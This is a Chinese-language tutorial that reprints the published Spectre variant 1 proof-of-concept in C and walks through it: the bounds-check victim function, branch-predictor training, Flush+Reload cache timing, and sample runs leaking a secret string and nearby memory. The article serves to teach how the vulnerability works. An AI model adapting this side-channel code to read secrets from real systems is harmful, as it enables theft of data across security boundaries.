导语:本文我们将详细介绍Spectre实现攻击的细节,该攻击针对的是AMD、ARM和Intel CPU上发现的漏洞。

在本文中,我们将详细介绍Spectre实现攻击的细节,该攻击针对的是AMD、ARM和Intel CPU上发现的漏洞。

源代码

源代码如下:

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/* sscanf_s only works in MSVC. sscanf should work with other compilers*/
#ifndef _MSC_VER
#define sscanf_s sscanf
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char* secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t* addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--)
{
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--)
{
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++)
{
if (j < 0 || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < 0 || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won't get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char* * argv)
{
printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret));
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
int score[2], len = strlen(secret);
uint8_t value[2];
for (size_t i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3)
{
sscanf_s(argv[1], "%p", (void * *)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf_s(argv[2], "%d", &len);
printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0)
{
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X='%c' score=%d ", value[0],
       (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X='%c' score=%d)", value[1],
   (value[1] > 31 && value[1] < 127 ? value[1] : '?'),
   score[1]);
printf("\n");
}
#ifdef _MSC_VER
printf("Press ENTER to exit\n");
getchar();/* Pause Windows console */
#endif
return (0);
}

第5行和第8行包含了用于Flush+Reload 缓存攻击的rdtscp和clflush 的适当文件。注意,这些指令在所有的处理器上都是不可用的。例如,rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用。rdtsc更常见,但不是序列化,这意味着CPU可能会对其重新排序,因此对于定时攻击,会将rdtsc与诸如cpuid之类的序列化指令一起使用。如果没有可用的rdtscp或者 rdtsc,还有其他的选择(我计划在后续的文章中详细说明在ARM上如何解决这个问题)。 

a#ifdef _MSC_VER
#include  /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include  /* for rdtscp and clflush */
#endif

在第21行,rray1代表了受害者和攻击者之间的共享内存空间。我们不关心该区域里面是什么。其代码大小是160字节,但这只是一个例子:它的另一种代码大小可以正常工作。

array1被两个未使用的数组包围:这些数组对于确保我们命中不同的缓存路径是很有用的。在许多处理器(如,Intel i3、i5、i7、ARM Cortex A53等)L1缓存每一路径有64个字节。

uint8_t unused1[64];
uint8_t array1[160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2[64];

在第25行,我们有保密信息。该保密信息只有受害者知道,也正是攻击者想要恢复的东西。

在PoC中,受害者和攻击者共享相同的进程。这只是为了让代码更简单。在现实中,受害者和攻击者共享一个内存空间,攻击者会具有调用victim_function()(第29-35行)的能力。并且我想知道为什么密码原文是“The Magic Words are Squeamish Ossifrage”。这是很奇怪的句子!在本例中,Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。

然后,在第27-35行,有易受攻击的受害者函数。我对第27行的理解是,它是一个调整,以确保编译器不会在编译时删除victim_function() ,victim_function()本身在 Spectre paper的第4部分中得到了很好的解释。有了超过array1_size x的值,容易受到Spectre攻击的处理器可以进行如下操作:

1. 读取array1_size。这一操作会导致缓存丢失。
2. 尽管处理器正抓取array1_size——由于存在缓存缺失,array1_size是“长”的——但是分支预测器假设它是正确的(不正确的猜测)。
3. 推测读取array1[x]。该读取非常快速,因为它是缓存命中。
4. 读取array2[array1[x]* 512]。读取时间很长(缓存缺失)。
5. 虽然步骤4中的读取正在等待,但是步骤1的值已经到达。处理器检测到其猜测不正确,并重新调整了自身状态。
uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */
void victim_function(size_t x)
{
    if (x < array1_size)
    {
        temp &= array2[array1[x] * 512];
    }
}

不知你是否注意到了,文章提到的 k*256?在这里k指的是array1[x](也就是array1[x] * 256),然而在代码array1[x] * 512中也含有array1[x]。乘法因子需要与缓存线路的大小相等。大概在实现的时候,作者意识到对于大多数Intel处理器来说,每一个缓存线路大小都是64字节,正如我们之前所说。即64 * 8 = 512。这个值依赖于处理器。从第43行开始,我们有了readMemoryByte() 函数。该函数将尝试猜测位于给定地址的值。对于所有可能的字节值(有256个),该函数将测试使用Flush+Reload缓存攻击访问该值所需的时间。各种时序存储在results表中,但是函数只返回了两个最佳猜测。

第52-53行仅仅初始化结果表。这里没有缓存攻击。

for (i = 0; i < 256; i++)
results[i] = 0;

缓存攻击是在第54行和第89行之间实现的。首先,从一个纯净的状态开始,我们删除了整个array2表。该表是与攻击者共享的,它需要能够存储256个不同的缓存线路。而缓存线路的大小是512位。

for (i = 0; i < 256; i++)
   _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */

接下来,我们的想法是调用victim_function() 几次(参见第62-77行)。在序列中,它将:

_mm_clflush(&array1_size);

首先,刷新缓存线路,接下来,根据我的理解,下面的代码行是用来确保刷新完成的,处理器不会重新排序。该评论提到,mfence可能会被发布,mfence是Intel和AMD的系列化指令。我相信一个cpuida也能工作。

for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */

第三,计算x,这些线路很难理解。我相信作者们本可以找到一些更加可读的东西;)但是我们会看到这是一个很好的调整。

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

第四,调用victim_function()

与其试图理解步骤3中的代码行,还不如更容易地使用aprintf编辑这些代码,并观察程序运行时的值。这就是我们得到的: 

...
j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
...

这些行将生成5次小写的x,这将导致victim_function(x)接受分支。这五次是用来训练分支预测器假设分支会被取走。由于之前的5次训练,一个易受攻击的过程将会在第6次迭代中执行if分支。

在一个错误的分支猜测调用了victim_function() 之后,我们会看到在缓存中访问给定的字节值需要多长时间。这才是缓存攻击的核心(第79-89行)。

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
    mix_i = ((i * 167) + 13) & 255;
    addr = &array2[mix_i * 512];
    time1 = __rdtscp(&junk); /* READ TIMER */
    junk = *addr; /* MEMORY ACCESS TO TIME */
    time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
    if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
}

正如注释所言,我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。这是第82行处理的。

然后,在第83行,addr = &array2[mix_i * 512] 计算缓存线路的地址来进行检查。在下面84-86行中,我们测定访问该缓存线路中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。如果我们有一个缓存命中,就意味着在之前对victim_function()的调用过程中,缓存线路是新近被访问的。请记住,之前对victim_function()的调用是用一个大写的x来运行的,目的是误导处理器。在执行过程中,处理器会推测性地(并错误地)访问array1[x],其x比数组的大小还大得多,因此导致对内存的读取远远超过了数组。x的选择(或猜测)将会在密文写入的区域被命中。例如,假设处理器读取密文中Magic的字母M。因此,array1[x]='M',从而在第33行,处理器访问array2['M'*512]。

图片1.png

提醒一下,这是victim_function()中的第33行:

temp &= array2[array1[x] * 512];

当处理器访问array2['M'*512] 时,它缓存的行号是(byte)'M'。所以,如果你跟着我到了这一步,你就会明白,这一操作揭示了密文中那个特定字符的值,就像mix_i = array1[x] = 'M'。因此,我们将记录下来results['M']是一个很好的缓存命中:

if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */

对CACHE_HIT_THRESHOLD的测试非常清楚。在其之下是一个缓存命中,之上就不是。对于在研究的时间里,通过各种各样的测试来获得的CACHE_HIT_THRESHOLD的值,我持怀疑态度。为什么测试mix_i != array1[tries % array1_size]?我不确定这一点,但我怀疑它排除了这个索引,因为该索引通常会提供更多的缓存命中,因为尝试是当前的索引值。

readMemoryByte的其余部分并不是很有趣:它只选择它所发现的两个字节值,该选择是通过惊人的缓存命中实现的。

我们现在跳到了main()开头的118行:

size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */

这里发生了什么?在进程内存的布局中,我们有array1,然后是一串字节,然后是密文。因此,当我们读取array1超出其在victim_function()的限制时,如果我们想在密文中读取字节,我们需要跳过一个给定的字节偏移量。要计算偏移量,我们知道 array1 + offset = secret。所以, array1 + offset = secret:)

注意,如果我们想运行Spectre代码来读取内存的其他部分,这是完全有可能的。见第130 – 124行:

if (argc == 3)
{
        sscanf_s(argv[1], "%p", (void * *)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf_s(argv[2], "%d", &len);
        printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len);
}

第一个参数是要读取的地址。第二个参数是我们想要读取的字节数。在下面的示例中,我们提供了密文的地址,只读取了10个字节。

$ ./spectre.out 0x400d08 10
Putting 'The Magic Words are Squeamish Ossifrage.' in memory
Reading 10 bytes:
Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54='T' score=2
Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63='c' score=2
Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=' ' score=2

我们也可以试着读取比密文长度更多的字节。例如,下面我们读取100个字节,并识别内存中的Putting %s字符串,等等。

$ ./spectre.out 0x400d08 100
...
Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E='.' score=2
Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00='?' score=2
Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50='P' score=2
Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75='u' score=2
Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74='t' score=2
Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74='t' score=2
Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E='n' score=2
Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=''' score=2
Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25='%' score=2
Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=''' score=2
Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E='n' score=2
Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D='m' score=2
Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D='m' score=2
Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79='y' score=2
Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A='?' score=2
Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00='?' score=2

第133-145行尝试读取内存中一个给定偏移量(malicious_x)中的len字节,使用Spectre攻击,该攻击是在readMemoryByte()中实现的。

while (--len >= 0)
    {
        printf("Reading at malicious_x = %p... ", (void *)malicious_x);
        readMemoryByte(malicious_x++, value, score);
...

回想一下,我们为readMemoryByte()返回最多的两个值,记录了两个以上的缓存命中。就我个人而言,在我尝试过的所有案例中,只有一个值或一个都没有。如果没有,程序就会显示“Unclear”这个词。如果有一个或两个值,程序将显示成功并输出值(参见第137-144行)。

希望你会感到跟随本文学习代码的愉快。

源链接

Hacking more

...